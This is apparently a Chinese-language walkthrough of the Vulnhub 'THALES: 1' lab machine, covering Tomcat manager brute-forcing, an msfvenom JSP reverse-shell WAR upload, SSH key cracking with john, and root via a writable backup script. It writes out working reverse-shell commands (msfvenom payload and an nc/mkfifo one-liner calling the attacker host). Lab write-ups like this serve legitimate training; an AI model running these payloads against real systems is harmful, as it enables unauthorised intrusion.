Vulnhub——THALES: 1靶场

一、概要

靶机:192.168.1.101
攻击机:192.168.1.115
靶机下载地址:https://download.vulnhub.com/thales/Thales.zip

二、主机发现

arp-scan发现目标靶机

Vulnhub——THALES: 1靶场_第1张图片

三、信息收集

nmap扫描一下目标主机,得到一些信息

开放了22和8080端口,即ssh服务和web服务

Vulnhub——THALES: 1靶场_第2张图片

访问一下web服务

是一个tomcat的首页

Vulnhub——THALES: 1靶场_第3张图片

 登录管理员的话需要认证

Vulnhub——THALES: 1靶场_第4张图片

四、账号密码爆破 

msf爆破一下账号密码

Vulnhub——THALES: 1靶场_第5张图片

得到了账号密码

Vulnhub——THALES: 1靶场_第6张图片 

五、获取shell

进入到管理页面

Vulnhub——THALES: 1靶场_第7张图片 

应用程序列表这里有一个上传文件的地方

Vulnhub——THALES: 1靶场_第8张图片

这里需要上传的是war文件,可以判断出后端是java的后端

使用msfvenom生成一个反弹shell的文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.115 LPORT=8888 -f war -o shell.war

本地开启对应的端口监听,再去访问触发一下这个文件

Vulnhub——THALES: 1靶场_第9张图片

得到shell权限

Vulnhub——THALES: 1靶场_第10张图片 

再用python3 -c 'import pty;pty.spawn("/bin/bash")'

升级一下shell窗口就行了

Vulnhub——THALES: 1靶场_第11张图片

六、ssh公钥

使用ls -la 

查看一下当前目录的所有文件

Vulnhub——THALES: 1靶场_第12张图片

notes.txt中有一个提示

user.txt无权限读取

.ssh目录下有公私钥

Vulnhub——THALES: 1靶场_第13张图片

保存一下ssh公钥

Vulnhub——THALES: 1靶场_第14张图片

七、john公钥密码爆破

切换到/usr/share/john目录找到ssh2john.py脚本,将公钥文件转换一下格式,转化为JTR兼容的攻击文件

Vulnhub——THALES: 1靶场_第15张图片

用john对密码进行爆破,使用的是/usr/share/wordlists/rockyou.txt字典

john --wordlist=/usr/share/wordlists/rockyou.txt 爆破文件

Vulnhub——THALES: 1靶场_第16张图片

 爆破出的密码为vodka06

切换用户获得第一个flag

Vulnhub——THALES: 1靶场_第17张图片

八、提权

前面这里还有个提示,查看一下这个文件

 可以看到这个文件是具有777权限的,我们可以写入

 

我们可以利用这个文件,修改它的内容向我们的攻击机反弹一个root权限的shell

Vulnhub——THALES: 1靶场_第18张图片 

向文件中写入一行命令

echo "rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 192.168.1.115 5555 >/tmp/a" >> backup.sh

攻击机监听对应端口

 

得到flag

Vulnhub——THALES: 1靶场_第19张图片

九、新知识总结

1、msfvenom生成反弹shell的war文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.115 LPORT=8888 -f war -o shell.war

2、python脚本转换公钥文件为JTR攻击兼容文件

python3 ssh2john.py 需要处理的文件 > 输出的文件

3、john爆破ssh公钥(基于JTR攻击兼容文件)

john --wordlist=/usr/share/wordlists/rockyou.txt 爆破文件

4、利用mkfifo命令实现权限维持

mkfifo创建的是一个管道文件,这里这种情况下这个文件中的内容会实时更新,即输入的命令会被实时读取

echo "rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 192.168.1.115 5555 >/tmp/a" >> backup.sh

你可能感兴趣的:(渗透测试,网络安全,web安全,安全)